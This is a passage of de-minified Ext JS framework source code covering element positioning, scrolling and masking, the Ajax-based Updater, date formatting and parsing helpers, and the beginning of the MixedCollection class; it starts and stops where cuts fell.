this, a = b.dom.style;\n    a.left = b.addUnits(d);\n    a.top = b.addUnits(c);\n    return b\n}, getRegion:function () {\n    return Ext.lib.Dom.getRegion(this.dom)\n}, setBounds:function (b, g, d, a, c) {\n    var e = this;\n    if (!c || !e.anim) {\n        e.setSize(d, a);\n        e.setLocation(b, g)\n    } else {\n        e.anim({points:{to:[b, g]}, width:{to:e.adjustWidth(d)}, height:{to:e.adjustHeight(a)}}, e.preanim(arguments, 4), \"motion\")\n    }\n    return e\n}, setRegion:function (b, a) {\n    return this.setBounds(b.left, b.top, b.right - b.left, b.bottom - b.top, this.animTest.call(this, arguments, a, 1))\n}});\nExt.Element.addMethods({scrollTo:function (b, d, a) {\n    var e = /top/i.test(b), c = this, g = c.dom, h;\n    if (!a || !c.anim) {\n        h = \"scroll\" + (e ? \"Top\" : \"Left\");\n        g[h] = d\n    } else {\n        h = \"scroll\" + (e ? \"Left\" : \"Top\");\n        c.anim({scroll:{to:e ? [g[h], d] : [d, g[h]]}}, c.preanim(arguments, 2), \"scroll\")\n    }\n    return c\n}, scrollIntoView:function (e, i) {\n    var p = Ext.getDom(e) || Ext.getBody().dom, h = this.dom, g = this.getOffsetsTo(p), k = g[0] + p.scrollLeft, u = g[1] + p.scrollTop, q = u + h.offsetHeight, d = k + h.offsetWidth, a = p.clientHeight, m = parseInt(p.scrollTop, 10), s = parseInt(p.scrollLeft, 10), j = m + a, n = s + p.clientWidth;\n    if (h.offsetHeight > a || u < m) {\n        p.scrollTop = u\n    } else {\n        if (q > j) {\n            p.scrollTop = q - a\n        }\n    }\n    p.scrollTop = p.scrollTop;\n    if (i !== false) {\n        if (h.offsetWidth > p.clientWidth || k < s) {\n            p.scrollLeft = k\n        } else {\n            if (d > n) {\n                p.scrollLeft = d - p.clientWidth\n            }\n        }\n        p.scrollLeft = p.scrollLeft\n    }\n    return this\n}, scrollChildIntoView:function (b, a) {\n    Ext.fly(b, \"_scrollChildIntoView\").scrollIntoView(this, a)\n}, scroll:function (m, b, d) {\n    if (!this.isScrollable()) {\n        return false\n    }\n    var e = this.dom, g = e.scrollLeft, p = e.scrollTop, n = e.scrollWidth, k = e.scrollHeight, i = e.clientWidth, a = e.clientHeight, c = false, o, j = {l:Math.min(g + b, n - i), r:o = Math.max(g - b, 0), t:Math.max(p - b, 0), b:Math.min(p + b, k - a)};\n    j.d = j.b;\n    j.u = j.t;\n    m = m.substr(0, 1);\n    if ((o = j[m]) > -1) {\n        c = true;\n        this.scrollTo(m == \"l\" || m == \"r\" ? \"left\" : \"top\", o, this.preanim(arguments, 2))\n    }\n    return c\n}});\nExt.Element.addMethods(function () {\n    var d = \"visibility\", b = \"display\", a = \"hidden\", h = \"none\", c = \"x-masked\", g = \"x-masked-relative\", e = Ext.Element.data;\n    return{isVisible:function (i) {\n        var j = !this.isStyle(d, a) && !this.isStyle(b, h), k = this.dom.parentNode;\n        if (i !== true || !j) {\n            return j\n        }\n        while (k && !(/^body/i.test(k.tagName))) {\n            if (!Ext.fly(k, \"_isVisible\").isVisible()) {\n                return false\n            }\n            k = k.parentNode\n        }\n        return true\n    }, isDisplayed:function () {\n        return !this.isStyle(b, h)\n    }, enableDisplayMode:function (i) {\n        this.setVisibilityMode(Ext.Element.DISPLAY);\n        if (!Ext.isEmpty(i)) {\n            e(this.dom, \"originalDisplay\", i)\n        }\n        return this\n    }, mask:function (j, n) {\n        var p = this, l = p.dom, o = Ext.DomHelper, m = \"ext-el-mask-msg\", i, q;\n        if (!/^body/i.test(l.tagName) && p.getStyle(\"position\") == \"static\") {\n            p.addClass(g)\n        }\n        if (i = e(l, \"maskMsg\")) {\n            i.remove()\n        }\n        if (i = e(l, \"mask\")) {\n            i.remove()\n        }\n        q = o.append(l, {cls:\"ext-el-mask\"}, true);\n        e(l, \"mask\", q);\n        p.addClass(c);\n        q.setDisplayed(true);\n        if (typeof j == \"string\") {\n            var k = o.append(l, {cls:m, cn:{tag:\"div\"}}, true);\n            e(l, \"maskMsg\", k);\n            k.dom.className = n ? m + \" \" + n : m;\n            k.dom.firstChild.innerHTML = j;\n            k.setDisplayed(true);\n            k.center(p)\n        }\n        if (Ext.isIE && !(Ext.isIE7 && Ext.isStrict) && p.getStyle(\"height\") == \"auto\") {\n            q.setSize(undefined, p.getHeight())\n        }\n        return q\n    }, unmask:function () {\n        var k = this, l = k.dom, i = e(l, \"mask\"), j = e(l, \"maskMsg\");\n        if (i) {\n            if (j) {\n                j.remove();\n                e(l, \"maskMsg\", undefined)\n            }\n            i.remove();\n            e(l, \"mask\", undefined);\n            k.removeClass([c, g])\n        }\n    }, isMasked:function () {\n        var i = e(this.dom, \"mask\");\n        return i && i.isVisible()\n    }, createShim:function () {\n        var i = document.createElement(\"iframe\"), j;\n        i.frameBorder = \"0\";\n        i.className = \"ext-shim\";\n        i.src = Ext.SSL_SECURE_URL;\n        j = Ext.get(this.dom.parentNode.insertBefore(i, this.dom));\n        j.autoBoxAdjust = false;\n        return j\n    }}\n}());\nExt.Element.addMethods({addKeyListener:function (b, d, c) {\n    var a;\n    if (typeof b != \"object\" || Ext.isArray(b)) {\n        a = {key:b, fn:d, scope:c}\n    } else {\n        a = {key:b.key, shift:b.shift, ctrl:b.ctrl, alt:b.alt, fn:d, scope:c}\n    }\n    return new Ext.KeyMap(this, a)\n}, addKeyMap:function (a) {\n    return new Ext.KeyMap(this, a)\n}});\nExt.CompositeElementLite.importElementMethods();\nExt.apply(Ext.CompositeElementLite.prototype, {addElements:function (c, a) {\n    if (!c) {\n        return this\n    }\n    if (typeof c == \"string\") {\n        c = Ext.Element.selectorFunction(c, a)\n    }\n    var b = this.elements;\n    Ext.each(c, function (d) {\n        b.push(Ext.get(d))\n    });\n    return this\n}, first:function () {\n    return this.item(0)\n}, last:function () {\n    return this.item(this.getCount() - 1)\n}, contains:function (a) {\n    return this.indexOf(a) != -1\n}, removeElement:function (d, e) {\n    var c = this, a = this.elements, b;\n    Ext.each(d, function (g) {\n        if ((b = (a[g] || a[g = c.indexOf(g)]))) {\n            if (e) {\n                if (b.dom) {\n                    b.remove()\n                } else {\n                    Ext.removeNode(b)\n                }\n            }\n            a.splice(g, 1)\n        }\n    });\n    return this\n}});\nExt.CompositeElement = Ext.extend(Ext.CompositeElementLite, {constructor:function (b, a) {\n    this.elements = [];\n    this.add(b, a)\n}, getElement:function (a) {\n    return a\n}, transformElement:function (a) {\n    return Ext.get(a)\n}});\nExt.Element.select = function (a, d, b) {\n    var c;\n    if (typeof a == \"string\") {\n        c = Ext.Element.selectorFunction(a, b)\n    } else {\n        if (a.length !== undefined) {\n            c = a\n        } else {\n            throw\"Invalid selector\"\n        }\n    }\n    return(d === true) ? new Ext.CompositeElement(c) : new Ext.CompositeElementLite(c)\n};\nExt.select = Ext.Element.select;\nExt.UpdateManager = Ext.Updater = Ext.extend(Ext.util.Observable, function () {\n    var b = \"beforeupdate\", d = \"update\", c = \"failure\";\n\n    function a(h) {\n        var i = this;\n        i.transaction = null;\n        if (h.argument.form && h.argument.reset) {\n            try {\n                h.argument.form.reset()\n            } catch (j) {\n            }\n        }\n        if (i.loadScripts) {\n            i.renderer.render(i.el, h, i, g.createDelegate(i, [h]))\n        } else {\n            i.renderer.render(i.el, h, i);\n            g.call(i, h)\n        }\n    }\n\n    function g(h, i, j) {\n        this.fireEvent(i || d, this.el, h);\n        if (Ext.isFunction(h.argument.callback)) {\n            h.argument.callback.call(h.argument.scope, this.el, Ext.isEmpty(j) ? true : false, h, h.argument.options)\n        }\n    }\n\n    function e(h) {\n        g.call(this, h, c, !!(this.transaction = null))\n    }\n\n    return{constructor:function (i, h) {\n        var j = this;\n        i = Ext.get(i);\n        if (!h && i.updateManager) {\n            return i.updateManager\n        }\n        j.el = i;\n        j.defaultUrl = null;\n        j.addEvents(b, d, c);\n        Ext.apply(j, Ext.Updater.defaults);\n        j.transaction = null;\n        j.refreshDelegate = j.refresh.createDelegate(j);\n        j.updateDelegate = j.update.createDelegate(j);\n        j.formUpdateDelegate = (j.formUpdate || function () {\n        }).createDelegate(j);\n        j.renderer = j.renderer || j.getDefaultRenderer();\n        Ext.Updater.superclass.constructor.call(j)\n    }, setRenderer:function (h) {\n        this.renderer = h\n    }, getRenderer:function () {\n        return this.renderer\n    }, getDefaultRenderer:function () {\n        return new Ext.Updater.BasicRenderer()\n    }, setDefaultUrl:function (h) {\n        this.defaultUrl = h\n    }, getEl:function () {\n        return this.el\n    }, update:function (i, n, p, l) {\n        var k = this, h, j;\n        if (k.fireEvent(b, k.el, i, n) !== false) {\n            if (Ext.isObject(i)) {\n                h = i;\n                i = h.url;\n                n = n || h.params;\n                p = p || h.callback;\n                l = l || h.discardUrl;\n                j = h.scope;\n                if (!Ext.isEmpty(h.nocache)) {\n                    k.disableCaching = h.nocache\n                }\n                if (!Ext.isEmpty(h.text)) {\n                    k.indicatorText = '<div class=\"loading-indicator\">' + h.text + \"</div>\"\n                }\n                if (!Ext.isEmpty(h.scripts)) {\n                    k.loadScripts = h.scripts\n                }\n                if (!Ext.isEmpty(h.timeout)) {\n                    k.timeout = h.timeout\n                }\n            }\n            k.showLoading();\n            if (!l) {\n                k.defaultUrl = i\n            }\n            if (Ext.isFunction(i)) {\n                i = i.call(k)\n            }\n            var m = Ext.apply({}, {url:i, params:(Ext.isFunction(n) && j) ? n.createDelegate(j) : n, success:a, failure:e, scope:k, callback:undefined, timeout:(k.timeout * 1000), disableCaching:k.disableCaching, argument:{options:h, url:i, form:null, callback:p, scope:j || window, params:n}}, h);\n            k.transaction = Ext.Ajax.request(m)\n        }\n    }, formUpdate:function (k, h, j, l) {\n        var i = this;\n        if (i.fireEvent(b, i.el, k, h) !== false) {\n            if (Ext.isFunction(h)) {\n                h = h.call(i)\n            }\n            k = Ext.getDom(k);\n            i.transaction = Ext.Ajax.request({form:k, url:h, success:a, failure:e, scope:i, timeout:(i.timeout * 1000), argument:{url:h, form:k, callback:l, reset:j}});\n            i.showLoading.defer(1, i)\n        }\n    }, startAutoRefresh:function (i, j, l, m, h) {\n        var k = this;\n        if (h) {\n            k.update(j || k.defaultUrl, l, m, true)\n        }\n        if (k.autoRefreshProcId) {\n            clearInterval(k.autoRefreshProcId)\n        }\n        k.autoRefreshProcId = setInterval(k.update.createDelegate(k, [j || k.defaultUrl, l, m, true]), i * 1000)\n    }, stopAutoRefresh:function () {\n        if (this.autoRefreshProcId) {\n            clearInterval(this.autoRefreshProcId);\n            delete this.autoRefreshProcId\n        }\n    }, isAutoRefreshing:function () {\n        return !!this.autoRefreshProcId\n    }, showLoading:function () {\n        if (this.showLoadIndicator) {\n            this.el.dom.innerHTML = this.indicatorText\n        }\n    }, abort:function () {\n        if (this.transaction) {\n            Ext.Ajax.abort(this.transaction)\n        }\n    }, isUpdating:function () {\n        return this.transaction ? Ext.Ajax.isLoading(this.transaction) : false\n    }, refresh:function (h) {\n        if (this.defaultUrl) {\n            this.update(this.defaultUrl, null, h, true)\n        }\n    }}\n}());\nExt.Updater.defaults = {timeout:30, disableCaching:false, showLoadIndicator:true, indicatorText:'<div class=\"loading-indicator\">Loading...</div>', loadScripts:false, sslBlankUrl:Ext.SSL_SECURE_URL};\nExt.Updater.updateElement = function (d, c, e, b) {\n    var a = Ext.get(d).getUpdater();\n    Ext.apply(a, b);\n    a.update(c, e, b ? b.callback : null)\n};\nExt.Updater.BasicRenderer = function () {\n};\nExt.Updater.BasicRenderer.prototype = {render:function (c, a, b, d) {\n    c.update(a.responseText, b.loadScripts, d)\n}};\n(function () {\n    Date.useStrict = false;\n    function b(d) {\n        var c = Array.prototype.slice.call(arguments, 1);\n        return d.replace(/\\{(\\d+)\\}/g, function (e, g) {\n            return c[g]\n        })\n    }\n\n    Date.formatCodeToRegex = function (d, c) {\n        var e = Date.parseCodes[d];\n        if (e) {\n            e = typeof e == \"function\" ? e() : e;\n            Date.parseCodes[d] = e\n        }\n        return e ? Ext.applyIf({c:e.c ? b(e.c, c || \"{0}\") : e.c}, e) : {g:0, c:null, s:Ext.escapeRe(d)}\n    };\n    var a = Date.formatCodeToRegex;\n    Ext.apply(Date, {parseFunctions:{\"M$\":function (d, c) {\n        var e = new RegExp(\"\\\\/Date\\\\(([-+])?(\\\\d+)(?:[+-]\\\\d{4})?\\\\)\\\\/\");\n        var g = (d || \"\").match(e);\n        return g ? new Date(((g[1] || \"\") + g[2]) * 1) : null\n    }}, parseRegexes:[], formatFunctions:{\"M$\":function () {\n        return\"\\\\/Date(\" + this.getTime() + \")\\\\/\"\n    }}, y2kYear:50, MILLI:\"ms\", SECOND:\"s\", MINUTE:\"mi\", HOUR:\"h\", DAY:\"d\", MONTH:\"mo\", YEAR:\"y\", defaults:{}, dayNames:[\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"], monthNames:[\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\", \"December\"], monthNumbers:{Jan:0, Feb:1, Mar:2, Apr:3, May:4, Jun:5, Jul:6, Aug:7, Sep:8, Oct:9, Nov:10, Dec:11}, getShortMonthName:function (c) {\n        return Date.monthNames[c].substring(0, 3)\n    }, getShortDayName:function (c) {\n        return Date.dayNames[c].substring(0, 3)\n    }, getMonthNumber:function (c) {\n        return Date.monthNumbers[c.substring(0, 1).toUpperCase() + c.substring(1, 3).toLowerCase()]\n    }, formatContainsHourInfo:(function () {\n        var d = /(\\\\.)/g, c = /([gGhHisucUOPZ]|M\\$)/;\n        return function (e) {\n            return c.test(e.replace(d, \"\"))\n        }\n    })(), formatCodes:{d:\"String.leftPad(this.getDate(), 2, '0')\", D:\"Date.getShortDayName(this.getDay())\", j:\"this.getDate()\", l:\"Date.dayNames[this.getDay()]\", N:\"(this.getDay() ? this.getDay() : 7)\", S:\"this.getSuffix()\", w:\"this.getDay()\", z:\"this.getDayOfYear()\", W:\"String.leftPad(this.getWeekOfYear(), 2, '0')\", F:\"Date.monthNames[this.getMonth()]\", m:\"String.leftPad(this.getMonth() + 1, 2, '0')\", M:\"Date.getShortMonthName(this.getMonth())\", n:\"(this.getMonth() + 1)\", t:\"this.getDaysInMonth()\", L:\"(this.isLeapYear() ? 1 : 0)\", o:\"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))\", Y:\"String.leftPad(this.getFullYear(), 4, '0')\", y:\"('' + this.getFullYear()).substring(2, 4)\", a:\"(this.getHours() < 12 ? 'am' : 'pm')\", A:\"(this.getHours() < 12 ? 'AM' : 'PM')\", g:\"((this.getHours() % 12) ? this.getHours() % 12 : 12)\", G:\"this.getHours()\", h:\"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')\", H:\"String.leftPad(this.getHours(), 2, '0')\", i:\"String.leftPad(this.getMinutes(), 2, '0')\", s:\"String.leftPad(this.getSeconds(), 2, '0')\", u:\"String.leftPad(this.getMilliseconds(), 3, '0')\", O:\"this.getGMTOffset()\", P:\"this.getGMTOffset(true)\", T:\"this.getTimezone()\", Z:\"(this.getTimezoneOffset() * -60)\", c:function () {\n        for (var k = \"Y-m-dTH:i:sP\", h = [], g = 0, d = k.length; g < d; ++g) {\n            var j = k.charAt(g);\n            h.push(j == \"T\" ? \"'T'\" : Date.getFormatCode(j))\n        }\n        return h.join(\" + \")\n    }, U:\"Math.round(this.getTime() / 1000)\"}, isValid:function (o, c, n, k, g, j, e) {\n        k = k || 0;\n        g = g || 0;\n        j = j || 0;\n        e = e || 0;\n        var l = new Date(o < 100 ? 100 : o, c - 1, n, k, g, j, e).add(Date.YEAR, o < 100 ? o - 100 : 0);\n        return o == l.getFullYear() && c == l.getMonth() + 1 && n == l.getDate() && k == l.getHours() && g == l.getMinutes() && j == l.getSeconds() && e == l.getMilliseconds()\n    }, parseDate:function (d, g, c) {\n        var e = Date.parseFunctions;\n        if (e[g] == null) {\n            Date.createParser(g)\n        }\n        return e[g](d, Ext.isDefined(c) ? c : Date.useStrict)\n    }, getFormatCode:function (d) {\n        var c = Date.formatCodes[d];\n        if (c) {\n            c = typeof c == \"function\" ? c() : c;\n            Date.formatCodes[d] = c\n        }\n        return c || (\"'\" + String.escape(d) + \"'\")\n    }, createFormat:function (h) {\n        var g = [], c = false, e = \"\";\n        for (var d = 0; d < h.length; ++d) {\n            e = h.charAt(d);\n            if (!c && e == \"\\\\\") {\n                c = true\n            } else {\n                if (c) {\n                    c = false;\n                    g.push(\"'\" + String.escape(e) + \"'\")\n                } else {\n                    g.push(Date.getFormatCode(e))\n                }\n            }\n        }\n        Date.formatFunctions[h] = new Function(\"return \" + g.join(\"+\"))\n    }, createParser:function () {\n        var c = [\"var dt, y, m, d, h, i, s, ms, o, z, zz, u, v,\", \"def = Date.defaults,\", \"results = String(input).match(Date.parseRegexes[{0}]);\", \"if(results){\", \"{1}\", \"if(u != null){\", \"v = new Date(u * 1000);\", \"}else{\", \"dt = (new Date()).clearTime();\", \"y = Ext.num(y, Ext.num(def.y, dt.getFullYear()));\", \"m = Ext.num(m, Ext.num(def.m - 1, dt.getMonth()));\", \"d = Ext.num(d, Ext.num(def.d, dt.getDate()));\", \"h  = Ext.num(h, Ext.num(def.h, dt.getHours()));\", \"i  = Ext.num(i, Ext.num(def.i, dt.getMinutes()));\", \"s  = Ext.num(s, Ext.num(def.s, dt.getSeconds()));\", \"ms = Ext.num(ms, Ext.num(def.ms, dt.getMilliseconds()));\", \"if(z >= 0 && y >= 0){\", \"v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);\", \"v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);\", \"}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){\", \"v = null;\", \"}else{\", \"v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);\", \"}\", \"}\", \"}\", \"if(v){\", \"if(zz != null){\", \"v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);\", \"}else if(o){\", \"v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));\", \"}\", \"}\", \"return v;\"].join(\"\\n\");\n        return function (m) {\n            var e = Date.parseRegexes.length, o = 1, g = [], l = [], k = false, d = \"\", j = 0, h, n;\n            for (; j < m.length; ++j) {\n                d = m.charAt(j);\n                if (!k && d == \"\\\\\") {\n                    k = true\n                } else {\n                    if (k) {\n                        k = false;\n                        l.push(String.escape(d))\n                    } else {\n                        h = a(d, o);\n                        o += h.g;\n                        l.push(h.s);\n                        if (h.g && h.c) {\n                            if (h.calcLast) {\n                                n = h.c\n                            } else {\n                                g.push(h.c)\n                            }\n                        }\n                    }\n                }\n            }\n            if (n) {\n                g.push(n)\n            }\n            Date.parseRegexes[e] = new RegExp(\"^\" + l.join(\"\") + \"$\", \"i\");\n            Date.parseFunctions[m] = new Function(\"input\", \"strict\", b(c, e, g.join(\"\")))\n        }\n    }(), parseCodes:{d:{g:1, c:\"d = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{2})\"}, j:{g:1, c:\"d = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{1,2})\"}, D:function () {\n        for (var c = [], d = 0; d < 7; c.push(Date.getShortDayName(d)), ++d) {\n        }\n        return{g:0, c:null, s:\"(?:\" + c.join(\"|\") + \")\"}\n    }, l:function () {\n        return{g:0, c:null, s:\"(?:\" + Date.dayNames.join(\"|\") + \")\"}\n    }, N:{g:0, c:null, s:\"[1-7]\"}, S:{g:0, c:null, s:\"(?:st|nd|rd|th)\"}, w:{g:0, c:null, s:\"[0-6]\"}, z:{g:1, c:\"z = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{1,3})\"}, W:{g:0, c:null, s:\"(?:\\\\d{2})\"}, F:function () {\n        return{g:1, c:\"m = parseInt(Date.getMonthNumber(results[{0}]), 10);\\n\", s:\"(\" + Date.monthNames.join(\"|\") + \")\"}\n    }, M:function () {\n        for (var c = [], d = 0; d < 12; c.push(Date.getShortMonthName(d)), ++d) {\n        }\n        return Ext.applyIf({s:\"(\" + c.join(\"|\") + \")\"}, a(\"F\"))\n    }, m:{g:1, c:\"m = parseInt(results[{0}], 10) - 1;\\n\", s:\"(\\\\d{2})\"}, n:{g:1, c:\"m = parseInt(results[{0}], 10) - 1;\\n\", s:\"(\\\\d{1,2})\"}, t:{g:0, c:null, s:\"(?:\\\\d{2})\"}, L:{g:0, c:null, s:\"(?:1|0)\"}, o:function () {\n        return a(\"Y\")\n    }, Y:{g:1, c:\"y = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{4})\"}, y:{g:1, c:\"var ty = parseInt(results[{0}], 10);\\ny = ty > Date.y2kYear ? 1900 + ty : 2000 + ty;\\n\", s:\"(\\\\d{1,2})\"}, a:function () {\n        return a(\"A\")\n    }, A:{calcLast:true, g:1, c:\"if (/(am)/i.test(results[{0}])) {\\nif (!h || h == 12) { h = 0; }\\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}\", s:\"(AM|PM|am|pm)\"}, g:function () {\n        return a(\"G\")\n    }, G:{g:1, c:\"h = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{1,2})\"}, h:function () {\n        return a(\"H\")\n    }, H:{g:1, c:\"h = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{2})\"}, i:{g:1, c:\"i = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{2})\"}, s:{g:1, c:\"s = parseInt(results[{0}], 10);\\n\", s:\"(\\\\d{2})\"}, u:{g:1, c:\"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\\n\", s:\"(\\\\d+)\"}, O:{g:1, c:[\"o = results[{0}];\", \"var sn = o.substring(0,1),\", \"hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),\", \"mn = o.substring(3,5) % 60;\", \"o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\\n\"].join(\"\\n\"), s:\"([+-]\\\\d{4})\"}, P:{g:1, c:[\"o = results[{0}];\", \"var sn = o.substring(0,1),\", \"hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),\", \"mn = o.substring(4,6) % 60;\", \"o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\\n\"].join(\"\\n\"), s:\"([+-]\\\\d{2}:\\\\d{2})\"}, T:{g:0, c:null, s:\"[A-Z]{1,4}\"}, Z:{g:1, c:\"zz = results[{0}] * 1;\\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\\n\", s:\"([+-]?\\\\d{1,5})\"}, c:function () {\n        var e = [], c = [a(\"Y\", 1), a(\"m\", 2), a(\"d\", 3), a(\"h\", 4), a(\"i\", 5), a(\"s\", 6), {c:\"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\\n\"}, {c:[\"if(results[8]) {\", \"if(results[8] == 'Z'){\", \"zz = 0;\", \"}else if (results[8].indexOf(':') > -1){\", a(\"P\", 8).c, \"}else{\", a(\"O\", 8).c, \"}\", \"}\"].join(\"\\n\")}];\n        for (var g = 0, d = c.length; g < d; ++g) {\n            e.push(c[g].c)\n        }\n        return{g:1, c:e.join(\"\"), s:[c[0].s, \"(?:\", \"-\", c[1].s, \"(?:\", \"-\", c[2].s, \"(?:\", \"(?:T| )?\", c[3].s, \":\", c[4].s, \"(?::\", c[5].s, \")?\", \"(?:(?:\\\\.|,)(\\\\d+))?\", \"(Z|(?:[-+]\\\\d{2}(?::)?\\\\d{2}))?\", \")?\", \")?\", \")?\"].join(\"\")}\n    }, U:{g:1, c:\"u = parseInt(results[{0}], 10);\\n\", s:\"(-?\\\\d+)\"}}})\n}());\nExt.apply(Date.prototype, {dateFormat:function (a) {\n    if (Date.formatFunctions[a] == null) {\n        Date.createFormat(a)\n    }\n    return Date.formatFunctions[a].call(this)\n}, getTimezone:function () {\n    return this.toString().replace(/^.* (?:\\((.*)\\)|([A-Z]{1,4})(?:[\\-+][0-9]{4})?(?: -?\\d+)?)$/, \"$1$2\").replace(/[^A-Z]/g, \"\")\n}, getGMTOffset:function (a) {\n    return(this.getTimezoneOffset() > 0 ? \"-\" : \"+\") + String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset()) / 60), 2, \"0\") + (a ? \":\" : \"\") + String.leftPad(Math.abs(this.getTimezoneOffset() % 60), 2, \"0\")\n}, getDayOfYear:function () {\n    var b = 0, e = this.clone(), a = this.getMonth(), c;\n    for (c = 0, e.setDate(1), e.setMonth(0); c < a; e.setMonth(++c)) {\n        b += e.getDaysInMonth()\n    }\n    return b + this.getDate() - 1\n}, getWeekOfYear:function () {\n    var a = 86400000, b = 7 * a;\n    return function () {\n        var d = Date.UTC(this.getFullYear(), this.getMonth(), this.getDate() + 3) / a, c = Math.floor(d / 7), e = new Date(c * b).getUTCFullYear();\n        return c - Math.floor(Date.UTC(e, 0, 7) / b) + 1\n    }\n}(), isLeapYear:function () {\n    var a = this.getFullYear();\n    return !!((a & 3) == 0 && (a % 100 || (a % 400 == 0 && a)))\n}, getFirstDayOfMonth:function () {\n    var a = (this.getDay() - (this.getDate() - 1)) % 7;\n    return(a < 0) ? (a + 7) : a\n}, getLastDayOfMonth:function () {\n    return this.getLastDateOfMonth().getDay()\n}, getFirstDateOfMonth:function () {\n    return new Date(this.getFullYear(), this.getMonth(), 1)\n}, getLastDateOfMonth:function () {\n    return new Date(this.getFullYear(), this.getMonth(), this.getDaysInMonth())\n}, getDaysInMonth:function () {\n    var a = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];\n    return function () {\n        var b = this.getMonth();\n        return b == 1 && this.isLeapYear() ? 29 : a[b]\n    }\n}(), getSuffix:function () {\n    switch (this.getDate()) {\n        case 1:\n        case 21:\n        case 31:\n            return\"st\";\n        case 2:\n        case 22:\n            return\"nd\";\n        case 3:\n        case 23:\n            return\"rd\";\n        default:\n            return\"th\"\n    }\n}, clone:function () {\n    return new Date(this.getTime())\n}, isDST:function () {\n    return new Date(this.getFullYear(), 0, 1).getTimezoneOffset() != this.getTimezoneOffset()\n}, clearTime:function (g) {\n    if (g) {\n        return this.clone().clearTime()\n    }\n    var b = this.getDate();\n    this.setHours(0);\n    this.setMinutes(0);\n    this.setSeconds(0);\n    this.setMilliseconds(0);\n    if (this.getDate() != b) {\n        for (var a = 1, e = this.add(Date.HOUR, a); e.getDate() != b; a++, e = this.add(Date.HOUR, a)) {\n        }\n        this.setDate(b);\n        this.setHours(e.getHours())\n    }\n    return this\n}, add:function (b, c) {\n    var e = this.clone();\n    if (!b || c === 0) {\n        return e\n    }\n    switch (b.toLowerCase()) {\n        case Date.MILLI:\n            e.setMilliseconds(this.getMilliseconds() + c);\n            break;\n        case Date.SECOND:\n            e.setSeconds(this.getSeconds() + c);\n            break;\n        case Date.MINUTE:\n            e.setMinutes(this.getMinutes() + c);\n            break;\n        case Date.HOUR:\n            e.setHours(this.getHours() + c);\n            break;\n        case Date.DAY:\n            e.setDate(this.getDate() + c);\n            break;\n        case Date.MONTH:\n            var a = this.getDate();\n            if (a > 28) {\n                a = Math.min(a, this.getFirstDateOfMonth().add(\"mo\", c).getLastDateOfMonth().getDate())\n            }\n            e.setDate(a);\n            e.setMonth(this.getMonth() + c);\n            break;\n        case Date.YEAR:\n            e.setFullYear(this.getFullYear() + c);\n            break\n    }\n    return e\n}, between:function (c, a) {\n    var b = this.getTime();\n    return c.getTime() <= b && b <= a.getTime()\n}});\nDate.prototype.format = Date.prototype.dateFormat;\nif (Ext.isSafari && (navigator.userAgent.match(/WebKit\\/(\\d+)/)[1] || NaN) < 420) {\n    Ext.apply(Date.prototype, {_xMonth:Date.prototype.setMonth, _xDate:Date.prototype.setDate, setMonth:function (a) {\n        if (a <= -1) {\n            var d = Math.ceil(-a), c = Math.ceil(d / 12), b = (d % 12) ? 12 - d % 12 : 0;\n            this.setFullYear(this.getFullYear() - c);\n            return this._xMonth(b)\n        } else {\n            return this._xMonth(a)\n        }\n    }, setDate:function (a) {\n        return this.setTime(this.getTime() - (this.getDate() - a) * 86400000)\n    }})\n}\nExt.util.MixedCollection = function (b, a) {\n    this.items = [];\n    this.map = {};\n    this.keys = [];\n    this.length = 0;\n    this.addEvents(\"clear\", \"add\", \"replace\", \"remove\", \"sort\");\n    this.allowFunctions = b === true;\n    if (a) {\n        this.getKey = a\n    }\n    Ext.util.MixedCollection.superclass.constructor.call(this)\n};\nExt.extend(Ext.util.MixedCollection, Ext.util.Observable, {allowFunctions:false, add:function (b, c) {\n    if (arguments.length == 1) {\n        c = arguments[0];\n        b = this.getKey(c)\n    }\n    if (typeof b != \"undefined\" && b !== null) {\n        var a = this.map[b];\n        if (typeof a != \"undefined\") {\n            return this.replace(b, c)\n        }\n        this.map[b] = c\n    }\n    this.length++;\n    this.items.push(c);\n    this.keys.push(b);\n    this.fireEvent(\"add\", this.length - 1, c, b);\n    return c\n}, getKey:function (a) {\n    return a.id\n}, replace:function (c, d) {\n    if (arguments.length == 1) {\n        d = arguments[0];\n        c = this.getKey(d)\n    }\n    var a = this.map[c];\n    if (typeof c == \"undefined\" || c === null || typeof a == \"undefined\") {\n        return this.add(c, d)\n    }\n    var b = this.indexOfKey(c);\n    this.items[b] = d;\n    this.map[c] = d;\n    this.fireEvent(\"replace\", c, a, d);\n    return 